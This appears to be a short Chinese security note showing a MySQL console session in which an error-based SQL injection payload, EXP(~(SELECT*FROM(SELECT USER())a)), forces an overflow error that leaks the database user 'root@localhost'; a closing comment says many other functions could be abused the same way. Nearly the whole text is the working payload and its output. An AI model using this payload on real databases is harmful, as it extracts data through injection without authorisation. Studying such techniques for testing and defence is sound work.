mysql> select * from user_pwd where name='1' and EXP(~(SELECT*FROM(SELECT USER())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

感觉按照这个思路，还有很多函数可以被这么玩的。。。